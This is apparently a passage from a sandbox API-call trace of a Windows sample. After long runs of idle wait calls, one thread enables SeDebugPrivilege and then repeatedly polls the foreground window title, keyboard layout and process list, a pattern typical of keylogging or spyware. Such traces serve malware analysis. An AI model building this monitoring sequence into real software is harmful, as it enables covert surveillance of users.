[0221.507] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0221.625] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0221.755] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0221.874] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0221.999] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0222.132] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0222.249] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0222.378] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0222.498] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0222.623] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0222.754] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0222.878] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0222.998] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0223.122] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0223.251] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0223.372] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0223.498] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0223.628] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0223.746] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0223.882] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0223.996] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0224.121] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0224.250] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0224.370] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0224.500] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0224.620] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0224.745] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0224.869] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0224.994] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0225.118] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0225.243] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0225.369] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0225.493] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0225.618] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0225.742] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0225.867] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0225.992] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0226.117] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0226.241] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0226.366] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0226.491] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0226.616] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0226.741] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0226.865] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0226.991] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0227.115] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0227.240] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0227.374] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0227.490] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0227.614] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0227.812] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0227.927] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0228.051] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0228.176] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0228.301] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0228.425] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0228.550] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0228.675] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0228.800] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0228.925] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0229.049] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0229.174] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0229.299] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0229.424] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0229.549] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0229.673] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0229.798] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0229.923] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0230.048] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0230.173] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0230.298] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0230.422] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0230.547] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0230.674] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0230.797] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0230.922] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0231.046] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0231.171] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0231.296] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0231.421] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0231.546] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0231.670] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102
[0231.795] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4)
Thread:
id = 28
os_tid = 0xb94
[0182.480] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0203.391] SetThreadExecutionState (esFlags=0x80000001) returned 0x80000000
[0223.403] SetThreadExecutionState (esFlags=0x80000001) returned 0x80000001
Thread:
id = 29
os_tid = 0xb9c
[0186.426] CoGetContextToken (in: pToken=0x4e4fdf0 | out: pToken=0x4e4fdf0) returned 0x0
[0186.426] CObjectContext::QueryInterface () returned 0x0
[0186.426] CObjectContext::GetCurrentThreadType () returned 0x0
[0186.426] Release () returned 0x0
[0186.427] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
Thread:
id = 30
os_tid = 0xba0
[0186.451] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0187.212] GetForegroundWindow () returned 0x101a2
[0187.213] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0187.492] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x4f8f0ec | out: lpLuid=0x4f8f0ec*(LowPart=0x14, HighPart=0)) returned 1
[0187.689] GetLastError () returned 0x0
[0187.706] GetCurrentProcess () returned 0xffffffff
[0187.706] GetLastError () returned 0x0
[0187.707] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x4f8f0e8 | out: TokenHandle=0x4f8f0e8*=0x1f4) returned 1
[0187.707] GetLastError () returned 0x0
[0187.709] AdjustTokenPrivileges (in: TokenHandle=0x1f4, DisableAllPrivileges=0, NewState=0x23607dc*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
[0187.709] GetLastError () returned 0x0
[0187.709] CloseHandle (hObject=0x1f4) returned 1
[0187.709] GetLastError () returned 0x0
[0187.732] EnumProcesses (in: lpidProcess=0x23610d8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23610d8, lpcbNeeded=0x4f8f87c) returned 1
[0187.734] GetLastError () returned 0x0
[0187.739] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0187.746] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0187.748] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.748] GetForegroundWindow () returned 0x101a2
[0187.748] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.749] GetForegroundWindow () returned 0x101a2
[0187.749] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.749] GetForegroundWindow () returned 0x101a2
[0187.749] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.749] GetForegroundWindow () returned 0x100f6
[0187.749] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0187.749] EnumProcesses (in: lpidProcess=0x23734b4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23734b4, lpcbNeeded=0x4f8f87c) returned 1
[0187.750] GetLastError () returned 0x0
[0187.751] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0187.753] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0187.754] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0187.754] GetForegroundWindow () returned 0x101a2
[0187.754] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0187.754] EnumProcesses (in: lpidProcess=0x2384fc0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384fc0, lpcbNeeded=0x4f8f87c) returned 1
[0187.754] GetLastError () returned 0x0
[0187.754] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0187.769] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0187.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.769] GetForegroundWindow () returned 0x101a2
[0187.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.769] GetForegroundWindow () returned 0x101a2
[0187.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.769] GetForegroundWindow () returned 0x101a2
[0187.769] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.769] GetForegroundWindow () returned 0x100f6
[0187.770] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0187.770] EnumProcesses (in: lpidProcess=0x239751c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x239751c, lpcbNeeded=0x4f8f87c) returned 1
[0187.770] GetLastError () returned 0x0
[0187.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0187.774] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0187.774] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0187.775] GetForegroundWindow () returned 0x101a2
[0187.775] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0187.775] EnumProcesses (in: lpidProcess=0x23bd11c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23bd11c, lpcbNeeded=0x4f8f87c) returned 1
[0187.775] GetLastError () returned 0x0
[0187.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0187.778] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0187.778] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.835] GetForegroundWindow () returned 0x101a2
[0187.835] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.897] GetForegroundWindow () returned 0x101a2
[0187.897] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0187.959] GetForegroundWindow () returned 0x101a2
[0187.959] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.022] GetForegroundWindow () returned 0x100f6
[0188.022] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0188.022] EnumProcesses (in: lpidProcess=0x23cf420, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23cf420, lpcbNeeded=0x4f8f87c) returned 1
[0188.022] GetLastError () returned 0x0
[0188.023] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0188.026] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0188.026] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0188.084] GetForegroundWindow () returned 0x101a2
[0188.084] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0188.084] EnumProcesses (in: lpidProcess=0x23e0ef8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23e0ef8, lpcbNeeded=0x4f8f87c) returned 1
[0188.085] GetLastError () returned 0x0
[0188.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0188.089] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0188.089] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.147] GetForegroundWindow () returned 0x101a2
[0188.147] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.209] GetForegroundWindow () returned 0x101a2
[0188.209] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.272] GetForegroundWindow () returned 0x101a2
[0188.272] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.334] GetForegroundWindow () returned 0x100f6
[0188.334] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0188.334] EnumProcesses (in: lpidProcess=0x23f3a48, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23f3a48, lpcbNeeded=0x4f8f87c) returned 1
[0188.335] GetLastError () returned 0x0
[0188.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0188.338] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0188.338] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0188.396] GetForegroundWindow () returned 0x101a2
[0188.396] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0188.396] EnumProcesses (in: lpidProcess=0x2405500, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2405500, lpcbNeeded=0x4f8f87c) returned 1
[0188.397] GetLastError () returned 0x0
[0188.397] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0188.400] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0188.400] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.459] GetForegroundWindow () returned 0x101a2
[0188.459] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.521] GetForegroundWindow () returned 0x101a2
[0188.521] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.583] GetForegroundWindow () returned 0x101a2
[0188.583] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.646] GetForegroundWindow () returned 0x100f6
[0188.646] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0188.646] EnumProcesses (in: lpidProcess=0x2417814, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2417814, lpcbNeeded=0x4f8f87c) returned 1
[0188.647] GetLastError () returned 0x0
[0188.647] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3481f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3481f90, ResultLength=0x4f8f840*=0x8ea8) returned 0x0
[0188.650] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0188.650] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0188.708] GetForegroundWindow () returned 0x101a2
[0188.708] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0188.708] EnumProcesses (in: lpidProcess=0x24292cc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24292cc, lpcbNeeded=0x4f8f87c) returned 1
[0188.709] GetLastError () returned 0x0
[0188.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a1fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a1fb0, ResultLength=0x4f8f840*=0x8e28) returned 0x0
[0188.712] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0188.712] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.771] GetForegroundWindow () returned 0x101a2
[0188.771] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.833] GetForegroundWindow () returned 0x101a2
[0188.833] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.895] GetForegroundWindow () returned 0x101a2
[0188.895] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0188.958] GetForegroundWindow () returned 0x100f6
[0188.958] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0188.958] EnumProcesses (in: lpidProcess=0x243b9e4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x243b9e4, lpcbNeeded=0x4f8f87c) returned 1
[0188.959] GetLastError () returned 0x0
[0188.959] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c1fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c1fd0, ResultLength=0x4f8f840*=0x8e68) returned 0x0
[0188.962] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0188.962] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0189.020] GetForegroundWindow () returned 0x101a2
[0189.020] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0189.020] EnumProcesses (in: lpidProcess=0x244d6bc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x244d6bc, lpcbNeeded=0x4f8f87c) returned 1
[0189.021] GetLastError () returned 0x0
